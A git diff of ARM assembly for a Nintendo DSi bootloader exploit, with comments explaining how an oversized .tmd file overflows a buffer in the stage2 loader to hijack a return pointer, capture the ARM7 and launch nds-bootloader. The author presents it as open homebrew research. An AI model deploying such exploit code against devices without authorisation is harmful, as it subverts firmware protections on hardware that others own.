diff --git a/relaunch.s b/relaunch.s index 2874444..5a8dc41 100644 --- a/relaunch.s +++ b/relaunch.s @@ -3,6 +3,65 @@ .syntax unified +################################################################################ +# # +# Overview of the exploit: # +# # +# The DSi starts with a bootloader from ROM (stage1) that loads an # +# encrypted stage2 bootloader from the eMMC chip inside the DSi # +# # +# This bootloader will locate and execute the nintendo app-launcher # +# # +# While the stage2 locates the app-launcher it checks the .tmd file in # +# content folder for the launcher to find the app filename. # +# # +# This is done by retreiving the file length and then reading all of its # +# bytes to a fixed address buffer without checking if the buffer csan hold # +# all that data. # +# # +# This exploit utilizes the buffer overflow to change a structure located # +# after the buffer to overwrite a return pointer on the stack. # +# - See Section EXPLOIT near the end # +# # +# The execution on the arm9 then continues at Section Actual Payload # +# # +# To gain control of the arm7 from the arm9 we use the IWRAM Control # +# - See section Gain control of ARM7 # +# to capture the execution flow of the arm7 and jump to an arm7 payload # +# - See section ARM7 Payload # +# # +# In the last step, the arm7 is made to execute nds-bootloader from VRAM # +# while the arm9 waits in the original passme loop # +# # +# nds-bootloader then will do its thing and execute the configured .nds # +# # +################################################################################ + +@ Written by Tim 'MightyMax' Seidel, 2021 +@ Thank you to all the great ppl of the community that lead to understanding +@ the DSi as we do now. +@ +@ This code was written after learning, that the .tmd file could cause a buffer +@ overflow. Unlaunch was not reverse engineered for this. It is likely unalunch +@ uses the same exploit gadget, but it also could be a different one caused +@ by the very same bug (there are multiple structures overwritten by the tmd) +@ +@ The arm7 capture took me the most time. There possibly is an easier method +@ but the IWRAM method works very relyable and even could be reversed, so that +@ the stage2 could restart execution, if the .tmd length bug was patched +@ +@ I chosed the easier way of just using the existing nds-bootloader from +@ devkitPro +@ +@ This code is to keep the knowledge open sourced. It is no 'product' or fully +@ completed tool for your DSi. But such a product can be derived from this work. +@ +@ Martin 'no$cash' Korth originally developed the unlaunch exploit and polished +@ a very well tested and working tool to mod your DSi and shall be used if you +@ wanted to use the unlaunch exploit for moddign the DSi. +@ In case unlaunch will be gone some time. This source code would allow you to +@ recreate something alike. + ############################### # Constants # ############################### @@ -14,8 +73,11 @@ .equ TMD_WRITEOFFSET ,0x00000078 .equ TMD_WRITEPOINTER ,0x037F3878 .equ TMD_STACKRETURN ,0x02FE3558 -.equ HWREG_BASE ,0x04000000 -.equ PALETTE_BASE ,0x05000000 +.equ PASSME_ADDRESS ,0x02FFFE04 +.equ PASSME_INSTRUCTION ,0xE59FF018 +.equ VRAM_ENTRY ,0x06000000 +.equ VRAM_LCDADDR ,0x06840000 +.equ MRAM_ADDRESS ,0x02000000 # The exploited code is arm32 # We could make it return to thumb code but for simplicity all code within here @@ -42,85 +104,52 @@ _start: # Fill until payload with AA # ############################## +@ When filling we use a pattern that is easily +@ recognizable. Clearly "AAAAAAAA" stands out in hex view + # .org (0x037f0000 - SECTIONBASE), 0xAA ############################## # ! Actual Payload ! # ############################## - -# This example payload was borowed from BrokenPit and modified -# It will alternate the top screen between green and blue -# with some delay between - -setScreenColored: - push {r0} - mov r0, HWREG_BASE - mov r1, #0 - str r1, [r0, #0x208] - str r1, [r0, #0x210] - ldr r2, [r0, #0x214] - str r2, [r0, #0x214] - mov r2, #(1<<16) - str r2, [r0] - str r1, [r0, #0x60] - str r1, [r0, #0x6C] @ MASTER_BRIGHT FIX by Normmatt - mov r0, PALETTE_BASE - pop {r1} - strh r1, [r0] - bx lr - -delay: - mov r0, #0x00500000 @ time to wait -delayloop: - subs r0, r0, #1 @ subtract 1 - bne delayloop @ jump back if not zero - bx lr @ return - + entry: - BL captureARM7 -mainLoop: - mov r0, #0xFC00 - BL setScreenColored - BL delay - mov r0, #0x03C0 - BL setScreenColored - BL delay -# B mainLoop - ldr r0, passmeAddress + +@ With the exploit we got control of the arm9 meaning it executes this code right +@ now. But we do not have control of the arm7 running in IWRAM owe have no +@ direct control to +@ We change that and captur the arm7 execution + + BL captureARM7 @ make the arm7 to execute the arm7 payload + +@ Set up the passme loop. This was one of the first (or the very first?) exploit +@ for the NDS using the loaded NDS header to create a loop that executes within +@ this .nds file header. +@ the nds-bootloader uses this loop to control the arm9 from within the arm7, by +@ changing the arm9 entry point and the loop then branching to the new location + + ldr r0, passmeAddress @ set up the passmeLoop ldr r1, passmeInstruction str r1, [r0] str r0, [r0, #0x20] - mov r2, #0x02000000 - ldr r1, [r2, #4] - str r1, [r2] + +@ since we have the arm7 now in a loop (see the arm7 payload) we can control, +@ we let it jump to the nds-bootloader in VRAM now by changing the branch target +@ in the arm7 waiting loop + mov r2, MRAM_ADDRESS + ldr r1, [r2, (arm7PayloadWait - arm7PayloadStart) + 4] + str r1, [r2, (arm7PayloadWait - arm7PayloadStart)] + +@ and finally branching ourself to the passme loop. We are Done. +@ nds-bootloader takes over! BX r0 passmeAddress: - .word 0x02FFFE04 + .word PASSME_ADDRESS passmeInstruction: - .word 0xE59FF018 + .word PASSME_INSTRUCTION -############################## -# Patches for the stag2 to # -# run other DSi Paths # -############################## - -srlFilenameBuffer: - .word 0x02ffdfc0 - -@ the following address points to the branch that resolves the filename to -@ load by teh stage 2 bootloader. By replacing this with a NOP we could -@ pass a srl file name to load from the payload - -filenamePatchLocation: - .word 0x037b8b74 -filenamePatchInstruction: - B . + 4 -checkHeaderPatchLocation: - .word 0x037b8bb8 -checkHeaderPatchInstruction: - B . + 4 ############################## # Gain control of ARM7 # @@ -139,7 +168,7 @@ copyPayload: @ Copy arm7 and arm9 main ram payload to main ram adr r0, arm7PayloadStart adr r1, arm7PayloadEnd - mov r2, #0x02000000 + mov r2, MRAM_ADDRESS copyPayloadLoop: ldr r3, [r0], #4 str r3, [r2], #4 @@ -175,16 +204,6 @@ getWRAMPage: str r1,[r0] ldr r1, dataMBK5_ARM9Ctrl str r1,[r0, #4] -backupData: - @ Save the code that was on this page in main ram for later recovery - mov r0, 0x8000 - mov r1, 0x03800000 - mov r2, 0x02100000 -backupLoop: - ldr r3, [r1],#4 - str r3, [r2],#4 - subs r0, r0, #4 - bne backupLoop clearPage: @ Clear with B self (for now to see where we are) mov r0, 0x8000 @@ -205,21 +224,13 @@ postPage: str r1,[r0] str r2,[r0, #4] waitTillWeAreSureArm7IsCaptured: - BL delay -restoreBackup: - ldr r0, addrMBK4 - ldr r1, dataMBK4_ARM9Ctrl - str r1,[r0] - ldr r1, dataMBK5_ARM9Ctrl - str r1,[r0, #4] - mov r0, 0x8000 - mov r1, 0x03800000 - mov r2, 0x02100000 -restoreLoop: - ldr r3, [r2],#4 - str r3, [r1],#4 - subs r0, r0, #4 - bne restoreLoop + ldr r0, passmeAddress + mov r1, #0x80000000 + ldr r2, [r0, #-4] + cmp r2, r1 + bne waitTillWeAreSureArm7IsCaptured + mov r1, #0x00000000 + str r1, [r0, #-4] restoreOrigPages: ldr r0, addrMBK4 ldr r1, dataMBK4_Restore @@ -248,8 +259,6 @@ dataMBK5_Restore: .word 0x9D999591 dataMBK8: .word 0x08803800 -codeBranchSelf: - .word 0xEAFFFFFE regVRAMC: .word 0x04000242 VRAMC_LCD: @@ -257,10 +266,10 @@ VRAMC_LCD: VRAMC_ARM7: .word 0x00000082 VRAMC_ADDR: - .word 0x06840000 + .word VRAM_LCDADDR nopSlide: - mov r0, #0x02000000 + mov r0, MRAM_ADDRESS nopSlideEnd: BX r0 @@ -268,18 +277,30 @@ nopSlideEnd: # ARM7 Payload # ############################## -@ Create the passme loop and jump to it +@ The arm7 payload is quite simple. +@ We will flag a value, that we have entered the payload (so the arm9 knows for +@ sure when to continue) +@ and after that we will wait in a branch to self loop to wait for the arm9 +@ to tell us to continue by copying the following instruction over the branch arm7PayloadStart: - b . - mov pc, #0x06000000 + ldr r0, passmeAddressArm7 + mov r1, #0x80000000 + str r1, [r0, #-4] +arm7PayloadWait: + b arm7PayloadWait + mov pc, VRAM_ENTRY +passmeAddressArm7: + .word PASSME_ADDRESS arm7PayloadEnd: +@ We load the VRAM with the nds-bootloader code +@ This code was generated with https://github.com/devkitPro/nds-bootloader +@ using the compiler flag NO_DLDI to load the boot.nds from the DSi SD Card Slot VRAMPayloadStart: .incbin "nds_bootloader.bin" VRAMPayloadEnd: - B . ############################## # EXPLOIT #